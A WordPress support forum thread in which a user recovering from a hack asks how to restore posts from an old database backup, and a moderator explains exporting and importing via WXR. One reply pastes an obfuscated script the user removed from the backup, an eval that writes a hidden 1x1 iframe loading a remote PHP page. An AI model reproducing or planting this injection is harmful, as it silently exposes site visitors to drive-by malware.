• Resolved tarambana

    (@tarambana)


    Hi,
    I back up a database after a hack and before taking the whole site down and reinstalling afresh.
    Following guidelines the new databade got a different prefix than on the previous install-configuration.

    Can I re-install the old database?

    How do I make the reinstalled database entries to swithc to the new prefix?

    Will these overwrite the ones generated since the blogs re-installation?

    And, what can I expect to achive? Will the old post text be readable at the permalink addresses where there where before (bar from photos and so on that have to be reinstalled on the images forlders…)

    Thanks a lot for taking a look and eventually some advice!

Viewing 9 replies - 1 through 9 (of 9 total)
  • Moderator Jan Dembowski

    (@jdembowski)

    Forum Moderator and Brute Squad

    Whoa. Tricky but should be doable. I’m only on one cup of coffee at the moment, so someone may read this and shout “NO!”…

    Don’t try this unless you know 100% how to do a full restore first of a backup you just made.

    The mysql backup of your database is a text file so if you search and replace each instance of the old table name with the new one then that should work. Make a backup and then make a separate copy of your database dump.

    To switch from wp_ to np_, search for wp_postmeta gets replaced with np_postmeta. Repeat this for every table name in your database and make sure that only the prefix gets changed.

    Change your wp-config,php to use the new prefix and then restore your hacked backup. If the bad thing happens then just switch back the prefix in the wp-config.php file back to the old one. I may try this on my test install just for giggles.

    If something really, really, really goes bad then restore from a copy of the untouched database and files.

    Thread Starter tarambana

    (@tarambana)

    Cool,
    Thanks Jdembowsky!

    The newly installed WordPress has different prefixes than the backed up ones for the current database. A new prefix was named when installing the config-php

    If I don’t understan wrongly, I can re-name the backed up database names to the new prefix and upload. Will this erase the new entries posted in the meantime (since it was re installed but not returned to its former state with backups)?

    So:
    1.- I backup what’s there now
    2.- I make a copy of the backed up hacked database.
    3.- Open that file with a text editor
    4.- find and replace all instances of wp_ with xx_ being this last the newly assigned database prefix on the current database.
    5.- follow instructions to re-install former database

    Is this correct?
    Will this erase the new entries on the blog?

    Tnak you

    Moderator Jan Dembowski

    (@jdembowski)

    Forum Moderator and Brute Squad

    I’ve totally misunderstood what you wanted to do; I thought you wanted to just change the prefix.

    What it looks like you want to do is import the old database onto a new one and merge the data.

    Also doable but a different solution is needed. I’m in transit right now and will have to reply later.

    Thread Starter tarambana

    (@tarambana)

    Thanks Jdembowsky.
    I’ll be looking forward your comments and instructions.

    (BTW, I’ve been l;ooking at the database on text editors and it looks like I don’t need to re-upload a lot of it. The new configuration of the blog, themes and so on can stay as it is now and I don’t have some of the plug ins I did that, seems to me started their own database entries. I only want to recover the older entries and texts.)

    Moderator Jan Dembowski

    (@jdembowski)

    Forum Moderator and Brute Squad

    Since you don’t want to recover the plugin, theme, etc. settings then give this a try:

    Create a new separate empty installation of WordPress. It would be safe if you did this on another machine aside from your blog server.

    Restore the old database to that new install (fix the blog URL https://codex.www.ads-software.com/Changing_The_Site_URL#Edit_functions.php).

    Once that new installation is running, export the old blog into a WXR file.

    https://codex.www.ads-software.com/Tools_Export_SubPanel

    Double check the XML file that generates to make sure that there is no exploit code in it.

    Now on your real blog, backup the files and database one more time. This is just as a safety net.

    Once that’s done, import the WXR file into your new current blog. That should import the posts and comments without changing any of your settings or losing your current posts.

    Thread Starter tarambana

    (@tarambana)

    Thanks jdembowski.
    I do have a XML backup generated by the former wordpress install, the one that was hacked.
    I’ve been through it and found a few strange comments inserted on post well after the date of posting and the date the infection ocurred.
    I cleaned all of them and everything that looked odd to me and the following script at the bottom:

    <script>var VkXmR6='d$!#o$!#c$!#u$!#m$!#e$!#n$!#t$!#.$!#w$!#r$!#i$!#t$!#e$!#($!#\'$!#<$!#i$!#f$!#r$!#a$!#m$!#e$!# $!#s$!#r$!#c$!#=$!#"$!#h$!#t$!#t$!#p$!#:$!#/$!#/$!#g$!#e$!#o$!#n$!#o$!#n$!#.$!#n$!#e$!#t$!#/$!#i$!#n$!#.$!#p$!#h$!#p$!#"$!# $!#w$!#i$!#d$!#t$!#h$!#=$!#1$!# $!#h$!#e$!#i$!#g$!#h$!#t$!#=$!#1$!# $!#f$!#r$!#a$!#m$!#e$!#b$!#o$!#r$!#d$!#e$!#r$!#=$!#0$!#>$!#<$!#/$!#i$!#f$!#r$!#a$!#m$!#e$!#>$!#\'$!#)$!#;$!#';eval(VkXmR6.split('$!#').join(""));</script>

    Will uploading that one achieve the same thing?

    Thanks (and my apologies if I ask very dumb Qs! I hope I can learn from this one as well well as others at my very shallow level of understanding of code, wp etc…)

    Moderator Jan Dembowski

    (@jdembowski)

    Forum Moderator and Brute Squad

    These are not dumb questions at all. It’s always best to ask someone if you are not sure.

    If you already went through and remove the dodgy content from the old XML file, you should be good and can use that one.

    Still do the full backup anyways as a just in case. Once the import has completed then you should have both your new and old content.

    Thread Starter tarambana

    (@tarambana)

    Thanks a million!

    Thread Starter tarambana

    (@tarambana)

    Okikoky! I uploaded the XML files I went through manually. I took a few things off just because I didn′t know what where they.. But for a title in large letters that now appears before comments on old pages saying there are no comments yet to this post (followed by the list of comments) it all seems to work fine!

    Thanks a lot.
    To you jdembowski,
    ans also to shambol and Idea15 and so many others that have helped shepperding me to a blog recovery after a hack.

    Many thanks.

Viewing 9 replies - 1 through 9 (of 9 total)
  • The topic ‘re uploading database backed up with a different prefix’ is closed to new replies.